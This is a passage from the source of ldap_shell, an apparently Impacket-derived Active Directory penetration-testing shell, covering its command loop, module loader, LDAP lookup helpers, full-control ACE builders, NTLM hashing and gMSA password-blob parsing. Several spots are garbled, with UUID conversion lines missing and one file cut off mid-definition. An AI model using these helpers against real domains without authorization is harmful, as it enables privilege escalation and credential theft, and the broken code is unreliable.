113 | module = self.modules[words[0]]
114 | args = module.get_arguments()
115 | current_arg_index = len(words) - 1
116 |
117 | if current_arg_index >= len(args):
118 | return None
119 |
120 | current_arg = args[current_arg_index]
121 | suggestion = f"{current_arg.name} " if current_arg.required else f"[{current_arg.name}] "
122 | return Suggestion(suggestion)
123 |
124 | class Prompt:
125 | def __init__(self, domain_dumper, client, noninteractive=False):
126 | self.domain_dumper = domain_dumper
127 | self.client = client
128 | self.prompt = '# '
129 | self.history = history
130 | self.identchars = string.ascii_letters + string.digits + '_'
131 | self.noninteractive = noninteractive
132 | self.modules = ModuleLoader.load_modules()
133 |
134 | self.completer = ModuleCompleter(self.modules, domain_dumper=self.domain_dumper, client=self.client)
135 | self.suggester = ModuleSuggester(self.modules, self.history)
136 |
137 | # Create key bindings
138 | self.kb = KeyBindings()
139 |
140 | @self.kb.add('enter')
141 | def _(event):
142 | """Handle Enter press"""
143 | b = event.current_buffer
144 |
145 | # If there is active autocompletion state
146 | if b.complete_state and b.complete_state.current_completion:
147 | completion = b.complete_state.current_completion
148 |
149 | # Get list of commands
150 | available_commands = ModuleLoader.list_modules()
151 |
152 | # If completion is a command
153 | if completion.text in available_commands and not ' ' in b.document.text_before_cursor:
154 | # Delete all text
155 | b.delete(len(b.document.text_after_cursor)) # first after cursor
156 | b.delete_before_cursor(len(b.document.text_before_cursor)) # then before cursor
157 | # Insert command
158 | b.insert_text(completion.text + ' ')
159 | else:
160 | # For arguments: find last space or comma before cursor
161 | text = b.document.text
162 | cursor_position = b.document.cursor_position
163 | text_before_cursor = text[:cursor_position]
164 |
165 | # Find position of last separator (space or comma)
166 | if text_before_cursor.count('"') % 2 == 1:
167 | quoted_words = shlex.split(text_before_cursor+'"')
168 | else:
169 | quoted_words = shlex.split(text_before_cursor)
170 |
171 | last_word = quoted_words[-1]
172 | if ',' in last_word and not 'DC=' in last_word:
173 | del_word = last_word.split(',')[-1]
174 | elif ' ' in last_word or '"' in last_word:
175 | del_word = f'"{last_word}"'
176 | elif 'DC=' in last_word:
177 | del_word = f'"{last_word}"'
178 | else:
179 | del_word = last_word
180 | last_separator = len(text_before_cursor) - len(del_word)
181 |
182 | if last_separator >= 0:
183 | # Delete text from last separator to cursor
184 | chars_to_delete = cursor_position - (last_separator)
185 | if chars_to_delete > 0:
186 | b.delete_before_cursor(chars_to_delete)
187 | else:
188 | # If no separator found, delete all text before cursor
189 | b.delete_before_cursor(len(text_before_cursor))
190 |
191 | b.insert_text(completion.text)
192 |
193 | # Clear autocompletion state
194 | b.complete_state = None
195 | return
196 |
197 | # If no active autocompletion - execute command
198 | event.current_buffer.validate_and_handle()
199 |
200 | @self.kb.add('tab')
201 | def _(event):
202 | """Handle Tab press"""
203 | b = event.current_buffer
204 |
205 | if b.complete_state:
206 | b.complete_next()
207 | else:
208 | b.start_completion(select_first=False)
209 |
210 | def parseline(self, line):
211 | line = line.strip()
212 | if not line:
213 | return None, None, line
214 | elif line[0] == '?':
215 | line = 'help ' + line[1:]
216 | i, n = 0, len(line)
217 | while i < n and line[i] in self.identchars: i = i+1
218 | cmd, arg = line[:i], line[i:].strip()
219 | return cmd, arg, line
220 |
221 | def is_valid_line(self, line):
222 | cmd, arg, line = self.parseline(line)
223 | if not line:
224 | return False
225 | if cmd is None:
226 | return False
227 | self.lastcmd = line
228 | if line == 'EOF' :
229 | self.lastcmd = ''
230 | if cmd == '':
231 | return False
232 | return True
233 |
234 | def _parse_arg_string(self, module_name: str, arg_string: str) -> dict:
235 | args_dict = {}
236 |
237 | # Use shlex for proper string parsing with quotes
238 | try:
239 | args = shlex.split(arg_string)
240 | except ValueError as e:
241 | # If there are unclosed quotes, try to process as is
242 | print(f"Warning: {e}")
243 | args = arg_string.strip().split()
244 |
245 | for i, value in enumerate(args):
246 | if i >= len(self.modules[module_name].get_arguments()):
247 | break
248 | arg_name = self.modules[module_name].get_arguments()[i].name
249 | args_dict[arg_name] = value
250 | return args_dict
251 |
252 | def parse_module_args(self, module_name: str, arg_string: str) -> dict:
253 | if module_name not in self.modules:
254 | raise ValueError(f"Module {module_name} not found")
255 |
256 | args_dict = self._parse_arg_string(module_name, arg_string)
257 | return args_dict
258 |
259 | def execute_module(self, module_name: str, args_dict: dict):
260 | """Execute module with given arguments"""
261 | #try:
262 | module = self.modules[module_name](
263 | args_dict,
264 | self.domain_dumper,
265 | self.client,
266 | logging.getLogger('ldap-shell')
267 | )
268 | return module()
269 |
270 | def check_args_exist(self, module_name: str, args_dict: dict):
271 | module = self.modules[module_name]
272 | arguments = module.get_arguments()
273 | for arg in arguments:
274 | if arg.name not in args_dict and arg.required:
275 | return False
276 | return True
277 |
278 | def onecmd(self, line):
279 | cmd, arg_string, _ = self.parseline(line)
280 | if self.is_valid_line(line) is False:
281 | return
282 |
283 | if cmd in self.modules:
284 | try:
285 | args_dict = self.parse_module_args(cmd, arg_string)
286 | if not self.check_args_exist(cmd, args_dict):
287 | print(f'*** Missing required arguments for {cmd}. Use `help {cmd}` to see available arguments.')
288 | return
289 | return self.execute_module(cmd, args_dict)
290 | except ValueError as e:
291 | print(f"Error: {e}")
292 | import traceback
293 | print("Traceback:")
294 | print(traceback.format_exc())
295 | else:
296 | print(f'Module {cmd} not found')
297 |
298 | def cmdloop(self):
299 | if self.noninteractive:
300 | self.session = PromptSession(self.prompt, history=self.history)
301 | else:
302 | self.session = PromptSession(
303 | self.prompt,
304 | completer=self.completer,
305 | complete_style=CompleteStyle.MULTI_COLUMN,
306 | history=self.history,
307 | auto_suggest=self.suggester, #AutoSuggestFromHistory(),
308 | key_bindings=self.kb,
309 | complete_while_typing=True
310 | )
311 | while True:
312 | try:
313 | line = self.session.prompt(self.prompt)
314 | if line.strip() == 'exit':
315 | break
316 | prompt = self.onecmd(line)
317 | if prompt:
318 | self.prompt = prompt
319 | except KeyboardInterrupt:
320 | break
321 |
--------------------------------------------------------------------------------
/ldap_shell/utils/__init__.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 | import logging.config
4 | import os
5 | import re
6 | from datetime import datetime
7 | from typing import Optional, Tuple
8 | from prompt_toolkit.history import FileHistory
9 |
10 | log = logging.getLogger('ldap-shell.utils')
11 |
12 | # Compat
13 | PY3 = True
14 |
15 | # Command history initialization
16 | history = FileHistory(os.path.expanduser('~/.ldap_shell_history'))
17 |
18 |
19 | def init_logging(debug: bool, logs_dir_path: Optional[str] = None) -> None:
20 | config = {
21 | 'version': 1,
22 | 'disable_existing_loggers': False,
23 | 'formatters': {
24 | 'console_basic': {
25 | 'format': '[%(levelname)s] '
26 | '%(message)s',
27 | 'datefmt': '%H:%M:%S',
28 | },
29 | 'file_text': {
30 | 'format': '%(asctime)s (+%(relativeCreated)d) [%(levelname)s] P%(process)d T%(thread)d'
31 | ' <%(pathname)s:%(lineno)d, %(funcName)s at %(module)s> \'%(name)s\': %(message)s',
32 | },
33 | },
34 | 'handlers': {
35 | 'console': {
36 | 'level': 'DEBUG' if debug else 'INFO',
37 | 'class': 'logging.StreamHandler',
38 | 'stream': 'ext://sys.stdout',
39 | 'formatter': 'console_basic',
40 | },
41 | },
42 | 'loggers': {
43 | '': {
44 | 'level': 'DEBUG',
45 | 'handlers': ['console', ],
46 | },
47 | 'ldap-shell': {
48 | 'level': 'DEBUG',
49 | 'handlers': ['console', ],
50 | 'propagate': False,
51 | },
52 | },
53 | }
54 | log_file_path = None
55 | if logs_dir_path is not None:
56 | date_str = datetime.now().strftime('%Y-%m-%d_%H-%M-%S.%f')
57 | filename = f'ldap-shell_{date_str}.log'
58 | log_file_path = os.path.join(logs_dir_path, filename)
59 | config['handlers']['file'] = {
60 | 'level': 'DEBUG',
61 | 'class': 'logging.FileHandler',
62 | 'filename': log_file_path,
63 | 'mode': 'wt',
64 | 'encoding': 'utf-8',
65 | 'formatter': 'file_text',
66 | }
67 |
68 | for logger in config['loggers'].values():
69 | # noinspection PyUnresolvedReferences
70 | logger['handlers'].append('file')
71 |
72 | logging.config.dictConfig(config)
73 | log.debug('Logging (re)initialised, debug=%s, log_file=%s', debug, log_file_path)
74 |
75 |
76 | credential_regex = re.compile(r'(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?')
77 |
78 |
79 | def parse_credentials(credentials: str) -> Tuple[str, str, str]:
80 | """Helper function to parse credentials information. The expected format is:
81 |
82 | <:PASSWORD>
83 |
84 | :param credentials: credentials to parse
85 | :type credentials: string
86 |
87 | :return: tuple of domain, username and password
88 | :rtype: (string, string, string)
89 | """
90 | domain, username, password = credential_regex.match(credentials).groups('')
91 | return domain, username, password
92 |
93 |
94 | def b(s):
95 | """Impacket PY2/3 compat wrapper"""
96 | return s.encode("latin-1")
97 |
--------------------------------------------------------------------------------
/ldap_shell/utils/ace_utils.py:
--------------------------------------------------------------------------------
1 | import ldap_shell.utils.ldaptypes as ldaptypes
2 | from ldap_shell.utils.ldap_utils import LdapUtils
3 |
4 | class AceUtils:
5 | @staticmethod
6 | def create_allow_ace(sid):
7 | nace = ldaptypes.ACE()
8 | nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
9 | nace['AceFlags'] = 0x00
10 | acedata = ldaptypes.ACCESS_ALLOWED_ACE()
11 | acedata['Mask'] = ldaptypes.ACCESS_MASK()
12 | acedata['Mask']['Mask'] = 983551 # Full control
13 |
14 | # Handle both string SID and binary format
15 | if isinstance(sid, str):
16 | acedata['Sid'] = ldaptypes.LDAP_SID()
17 | acedata['Sid'].fromCanonical(sid)
18 | else:
19 | acedata['Sid'] = sid
20 |
21 | nace['Ace'] = acedata
22 | return nace
23 |
24 | @staticmethod
25 | def create_empty_sd():
26 | sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
27 | sd['Revision'] = b'\x01'
28 | sd['Sbz1'] = b'\x00'
29 | sd['Control'] = 32772
30 | sd['OwnerSid'] = ldaptypes.LDAP_SID()
31 | # BUILTIN\Administrators
32 | sd['OwnerSid'].fromCanonical('S-1-5-32-544')
33 | sd['GroupSid'] = b''
34 | sd['Sacl'] = b''
35 | acl = ldaptypes.ACL()
36 | acl['AclRevision'] = 4
37 | acl['Sbz1'] = 0
38 | acl['Sbz2'] = 0
39 | acl.aces = []
40 | sd['Dacl'] = acl
41 | return sd
42 |
43 | @staticmethod
44 | def createACE(sid, object_type=None, access_mask=983551): # 983551 Full control
45 | nace = ldaptypes.ACE()
46 | nace['AceFlags'] = 0x00
47 |
48 | if object_type is None:
49 | acedata = ldaptypes.ACCESS_ALLOWED_ACE()
50 | nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
51 | else:
52 | nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE
53 | acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE()
54 | acedata['ObjectType'] = LdapUtils.string_to_bin(object_type)
55 | acedata['InheritedObjectType'] = b''
56 | acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT
57 |
58 | acedata['Mask'] = ldaptypes.ACCESS_MASK()
59 | acedata['Mask']['Mask'] = access_mask
60 |
61 | if type(sid) is str:
62 | acedata['Sid'] = ldaptypes.LDAP_SID()
63 | acedata['Sid'].fromCanonical(sid)
64 | else:
65 | acedata['Sid'] = sid
66 |
67 | nace['Ace'] = acedata
68 | return nace
--------------------------------------------------------------------------------
/ldap_shell/utils/ldap_utils.py:
--------------------------------------------------------------------------------
1 | from typing import Optional
2 | import re
3 | from struct import pack, unpack
4 | import logging
5 | from ldap_shell.utils.ldaptypes import SR_SECURITY_DESCRIPTOR, LDAP_SID, ACL
6 | from ldap3.protocol.microsoft import security_descriptor_control
7 |
8 | class LdapUtils:
9 | @staticmethod
10 | def get_dn(client, domain_dumper, name: str) -> Optional[str]:
11 | """Get DN with automatic computer account retry"""
12 | result = LdapUtils._search_with_retry(
13 | client,
14 | domain_dumper,
15 | name,
16 | attributes=['distinguishedName']
17 | )
18 | return result.entry_dn if result else None
19 |
20 | @staticmethod
21 | def get_attribute(client, domain_dumper, name: str, attribute: str) -> Optional[str]:
22 | """Get attribute with computer account auto-retry"""
23 | result = LdapUtils._search_with_retry(
24 | client,
25 | domain_dumper,
26 | name,
27 | attributes=[attribute]
28 | )
29 | return result[attribute].value if result else None
30 |
31 | @staticmethod
32 | def get_sid(client, domain_dumper, name: str) -> Optional[str]:
33 | """Get SID with computer account auto-retry"""
34 | result = LdapUtils._search_with_retry(
35 | client,
36 | domain_dumper,
37 | name,
38 | attributes=['objectSid']
39 | )
40 | return result['objectSid'].value if result else None
41 |
42 | @staticmethod
43 | def sid_to_user(client, domain_dumper, sid: str) -> str:
44 | """Convert SID to samAccountName"""
45 | client.search(
46 | domain_dumper.root,
47 | f'(objectSid={sid})',
48 | attributes=['sAMAccountName']
49 | )
50 | if client.entries:
51 | return client.entries[0]['sAMAccountName'].value
52 | return None
53 |
54 | @staticmethod
55 | def check_dn(client, domain_dumper, dn: str) -> bool:
56 | """Check if DN is valid"""
57 | client.search(
58 | domain_dumper.root,
59 | f'(distinguishedName={dn})',
60 | attributes=['objectClass']
61 | )
62 | return len(client.entries) > 0
63 |
64 | @staticmethod
65 | def get_domain_name(dn: str) -> str:
66 | """Get domain name from DN"""
67 | return re.sub(',DC=', '.', dn[dn.find('DC='):], flags=re.I)[3:]
68 |
69 | @staticmethod
70 | def get_info_by_dn(client, domain_dumper, dn: str) -> Optional[tuple[bytes, str]]:
71 | """Get info by DN"""
72 | client.search(
73 | domain_dumper.root,
74 | f'(distinguishedName={dn})',
75 | attributes=['nTSecurityDescriptor', 'objectSid'],
76 | controls=security_descriptor_control(sdflags=0x04)
77 | )
78 | if len(client.entries) > 0:
79 | return client.entries[0]['nTSecurityDescriptor'].raw_values, client.entries[0]['objectSid'].value
80 | return None
81 |
82 | @staticmethod
83 | def get_name_from_dn(dn: str) -> Optional[str]:
84 | """Get name from DN"""
85 | return dn.split(',')[0].split('=')[1]
86 |
87 | @staticmethod
88 | def _search_with_retry(client, domain_dumper, name: str, attributes: list):
89 | # Initial search
90 | client.search(
91 | domain_dumper.root,
92 | f'(sAMAccountName={name})',
93 | attributes=attributes
94 | )
95 | if client.entries:
96 | return client.entries[0]
97 |
98 | # If not found, try adding $ for computer accounts
99 | if not name.endswith('$'):
100 | retry_name = f'{name}$'
101 | client.search(
102 | domain_dumper.root,
103 | f'(sAMAccountName={retry_name})',
104 | attributes=attributes
105 | )
106 | if client.entries:
107 | logging.debug(f'Auto-corrected computer account name: {name} -> {retry_name}')
108 | return client.entries[0]
109 |
110 | return None
111 |
112 | @staticmethod
113 | def bin_to_string(uuid):
114 | uuid1, uuid2, uuid3 = unpack('HHL', uuid[8:16])
116 | return '%08X-%04X-%04X-%04X-%04X%08X' % (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6)
117 |
118 | @staticmethod
119 | def string_to_bin(uuid):
120 | # If a UUID in the 00000000-0000-0000-0000-000000000000 format, parse it as Variant 2 UUID
121 | # The first three components of the UUID are little-endian, and the last two are big-endian
122 | matches = re.match(
123 | r"([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})",
124 | uuid)
125 | (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = [int(x, 16) for x in matches.groups()]
126 | uuid = pack('HHL', uuid4, uuid5, uuid6)
128 | return uuid
129 |
130 | @staticmethod
131 | def create_empty_sd():
132 | sd = SR_SECURITY_DESCRIPTOR()
133 | sd['Revision'] = b'\x01'
134 | sd['Sbz1'] = b'\x00'
135 | sd['Control'] = 32772
136 | sd['OwnerSid'] = LDAP_SID()
137 | # BUILTIN\Administrators
138 | sd['OwnerSid'].fromCanonical('S-1-5-32-544')
139 | sd['GroupSid'] = b''
140 | sd['Sacl'] = b''
141 | acl = ACL()
142 | acl['AclRevision'] = 4
143 | acl['Sbz1'] = 0
144 | acl['Sbz2'] = 0
145 | acl.aces = []
146 | sd['Dacl'] = acl
147 | return sd
--------------------------------------------------------------------------------
/ldap_shell/utils/module_loader.py:
--------------------------------------------------------------------------------
1 | import os
2 | import importlib
3 |
4 | class ModuleLoader:
5 | @staticmethod
6 | def list_modules() -> list[str]:
7 | module_path = os.path.join(os.path.dirname(__file__), '../ldap_modules')
8 | modules = os.listdir(module_path)
9 | modules_list = []
10 | for module in modules:
11 | if os.path.isdir(os.path.join(module_path, module)) and not '__' in module and module != 'template':
12 | modules_list.append(module)
13 | return modules_list
14 |
15 | @staticmethod
16 | def load_modules():
17 | """Load all modules from ldap_modules directory"""
18 | modules = {}
19 | modules_list = ModuleLoader.list_modules()
20 | for module_name in modules_list:
21 | module = importlib.import_module(f'ldap_shell.ldap_modules.{module_name}.ldap_module')
22 | modules[module_name] = module.LdapShellModule
23 | return modules
24 |
25 | @staticmethod
26 | def load_module(module_name: str):
27 | module = importlib.import_module(f'ldap_shell.ldap_modules.{module_name}.ldap_module')
28 | return module.LdapShellModule
29 |
30 | def get_module_help(module_name: str):
31 | module = importlib.import_module(f'ldap_shell.ldap_modules.{module_name}.ldap_module')
32 | help_text = module.help_text
33 | del module
34 | return help_text
35 |
36 | def get_module_examples(module_name: str):
37 | module = importlib.import_module(f'ldap_shell.ldap_modules.{module_name}.ldap_module')
38 | examples_text = module.examples_text
39 | del module
40 | return examples_text
--------------------------------------------------------------------------------
/ldap_shell/utils/security_utils.py:
--------------------------------------------------------------------------------
1 | import random
2 | import string
3 | import binascii
4 | import hashlib
5 | from impacket.structure import Structure
6 | class SecurityUtils:
7 | @staticmethod
8 | def generate_password(length=15):
9 | return ''.join(
10 | random.choice(string.ascii_letters + string.digits + "@.,") for _ in range(length)
11 | )
12 |
13 | @staticmethod
14 | def calculate_ntlm (password):
15 | return binascii.hexlify(hashlib.new("md4", password.encode("utf-16le")).digest()).decode()
16 |
17 | class MSDS_MANAGEDPASSWORD_BLOB(Structure):
18 | structure = (
19 | ('Version','> 16, len(data) & 0xFFFF) + data
66 | elif 0x1000000 <= len(data) <= 0xffffffff:
67 | res = pack('!BL', 0x84, len(data)) + data
68 | else:
69 | raise Exception('Error in asn1encode')
70 | return res
71 |
72 |
73 | class GSSAPI:
74 | # Generic GSSAPI Header Format
75 | def __init__(self, data=None):
76 | self.fields = {}
77 | self['UUID'] = GSS_API_SPNEGO_UUID
78 | if data:
79 | self.fromString(data)
80 | pass
81 |
82 | def __setitem__(self, key, value):
83 | self.fields[key] = value
84 |
85 | def __getitem__(self, key):
86 | return self.fields[key]
87 |
88 | def __delitem__(self, key):
89 | del self.fields[key]
90 |
91 | def __len__(self):
92 | return len(self.getData())
93 |
94 | def __str__(self):
95 | return len(self.getData())
96 |
97 | def fromString(self, data=None):
98 | # Manual parse of the GSSAPI Header Format
99 | # It should be something like
100 | # AID = 0x60 TAG, BER Length
101 | # OID = 0x06 TAG
102 | # GSSAPI OID
103 | # UUID data (BER Encoded)
104 | # Payload
105 | next_byte = unpack('B', data[:1])[0]
106 | if next_byte != ASN1_AID:
107 | raise Exception('Unknown AID=%x' % next_byte)
108 | data = data[1:]
109 | decode_data, total_bytes = asn1decode(data)
110 | # Now we should have a OID tag
111 | next_byte = unpack('B', decode_data[:1])[0]
112 | if next_byte != ASN1_OID:
113 | raise Exception('OID tag not found %x' % next_byte)
114 | decode_data = decode_data[1:]
115 | # Now the OID contents, should be SPNEGO UUID
116 | uuid, total_bytes = asn1decode(decode_data)
117 | self['OID'] = uuid
118 | # the rest should be the data
119 | self['Payload'] = decode_data[total_bytes:]
120 | # pass
121 |
122 | def dump(self):
123 | for i in list(self.fields.keys()):
124 | print("%s: {%r}" % (i, self[i]))
125 |
126 | def getData(self):
127 | ans = pack('B', ASN1_AID)
128 | ans += asn1encode(
129 | pack('B', ASN1_OID) +
130 | asn1encode(self['UUID']) +
131 | self['Payload'])
132 | return ans
133 |
134 |
135 | class SPNEGO_NegTokenInit(GSSAPI):
136 | # https://tools.ietf.org/html/rfc4178#page-8
137 | # NegTokeInit :: = SEQUENCE {
138 | # mechTypes [0] MechTypeList,
139 | # reqFlags [1] ContextFlags OPTIONAL,
140 | # mechToken [2] OCTET STRING OPTIONAL,
141 | # mechListMIC [3] OCTET STRING OPTIONAL,
142 | # }
143 | SPNEGO_NEG_TOKEN_INIT = 0xa0
144 |
145 | def fromString(self, data=0):
146 | GSSAPI.fromString(self, data)
147 | payload = self['Payload']
148 | next_byte = unpack('B', payload[:1])[0]
149 | if next_byte != SPNEGO_NegTokenInit.SPNEGO_NEG_TOKEN_INIT:
150 | raise Exception('NegTokenInit not found %x' % next_byte)
151 | payload = payload[1:]
152 | decode_data, total_bytes = asn1decode(payload)
153 | # Now we should have a SEQUENCE Tag
154 | next_byte = unpack('B', decode_data[:1])[0]
155 | if next_byte != ASN1_SEQUENCE:
156 | raise Exception('SEQUENCE tag not found %x' % next_byte)
157 | decode_data = decode_data[1:]
158 | decode_data, total_bytes2 = asn1decode(decode_data)
159 | next_byte = unpack('B', decode_data[:1])[0]
160 | if next_byte != ASN1_MECH_TYPE:
161 | raise Exception('MechType tag not found %x' % next_byte)
162 | decode_data = decode_data[1:]
163 | remaining_data = decode_data
164 | decode_data, total_bytes3 = asn1decode(decode_data)
165 | next_byte = unpack('B', decode_data[:1])[0]
166 | if next_byte != ASN1_SEQUENCE:
167 | raise Exception('SEQUENCE tag not found %x' % next_byte)
168 | decode_data = decode_data[1:]
169 | decode_data, total_bytes4 = asn1decode(decode_data)
170 | # And finally we should have the MechTypes
171 | self['MechTypes'] = []
172 | while decode_data:
173 | next_byte = unpack('B', decode_data[:1])[0]
174 | if next_byte != ASN1_OID:
175 | # Not a valid OID, there must be something else we won't unpack
176 | break
177 | decode_data = decode_data[1:]
178 | item, total_bytes = asn1decode(decode_data)
179 | self['MechTypes'].append(item)
180 | decode_data = decode_data[total_bytes:]
181 |
182 | # Do we have MechTokens as well?
183 | decode_data = remaining_data[total_bytes3:]
184 | if len(decode_data) > 0:
185 | next_byte = unpack('B', decode_data[:1])[0]
186 | if next_byte == ASN1_MECH_TOKEN:
187 | # We have tokens in here!
188 | decode_data = decode_data[1:]
189 | decode_data, total_bytes = asn1decode(decode_data)
190 | next_byte = unpack('B', decode_data[:1])[0]
191 | if next_byte == ASN1_OCTET_STRING:
192 | decode_data = decode_data[1:]
193 | decode_data, total_bytes = asn1decode(decode_data)
194 | self['MechToken'] = decode_data
195 |
196 | def getData(self):
197 | mechTypes = b''
198 | for i in self['MechTypes']:
199 | mechTypes += pack('B', ASN1_OID)
200 | mechTypes += asn1encode(i)
201 |
202 | mechToken = b''
203 | # Do we have tokens to send?
204 | if 'MechToken' in self.fields:
205 | mechToken = pack('B', ASN1_MECH_TOKEN) + asn1encode(
206 | pack('B', ASN1_OCTET_STRING) + asn1encode(
207 | self['MechToken']))
208 |
209 | ans = pack('B', SPNEGO_NegTokenInit.SPNEGO_NEG_TOKEN_INIT)
210 | ans += asn1encode(
211 | pack('B', ASN1_SEQUENCE) +
212 | asn1encode(
213 | pack('B', ASN1_MECH_TYPE) +
214 | asn1encode(
215 | pack('B', ASN1_SEQUENCE) +
216 | asn1encode(mechTypes)) + mechToken))
217 |
218 | self['Payload'] = ans
219 | return GSSAPI.getData(self)
220 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | ldap3
2 | ldapdomaindump
3 | pyasn1
4 | pycryptodomex
5 | dsinternals
6 | minikerberos
7 | winsspi
8 | impacket
9 | pyOpenSSL
10 | pycryptodome
11 | prompt_toolkit
12 | pydantic
13 | oscrypto @ git+https://github.com/wbond/oscrypto.git@d5f3437ed24257895ae1edd9e503cfb352e635a8
14 | colorama
15 |
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | """
2 | Installation script.
3 | """
4 | from setuptools import find_packages, setup
5 |
6 | with open('README.md', mode='r', encoding='utf-8') as f:
7 | readme = f.read()
8 |
9 | setup(
10 | name='ldap_shell',
11 | version='2.0.0',
12 | description='LDAP shell utility from Impacket',
13 | long_description=readme,
14 | author='Riocool',
15 | author_email='Riocool33@gmail.com',
16 | url='https://github.com/PShlyundin/ldap_shell',
17 | install_requires=[
18 | 'ldap3',
19 | 'ldapdomaindump',
20 | 'pyasn1',
21 | 'pycryptodomex',
22 | 'dsinternals',
23 | 'minikerberos',
24 | 'winsspi',
25 | 'impacket',
26 | 'pyOpenSSL',
27 | 'pycryptodome',
28 | 'prompt_toolkit',
29 | 'pydantic',
30 | 'oscrypto @ git+https://github.com/wbond/oscrypto.git@d5f3437ed24257895ae1edd9e503cfb352e635a8',
31 | 'colorama',
32 | ],
33 | packages=find_packages(),
34 | include_package_data=True,
35 | package_data={
36 | 'ldap_shell': [
37 | 'ldap_modules/*/ldap_module.py',
38 | 'ldap_modules/*/*', # Include all files in module subfolders
39 | ]
40 | },
41 | entry_points={
42 | 'console_scripts': ['ldap_shell=ldap_shell.__main__:main', ],
43 | },
44 | )
45 |
--------------------------------------------------------------------------------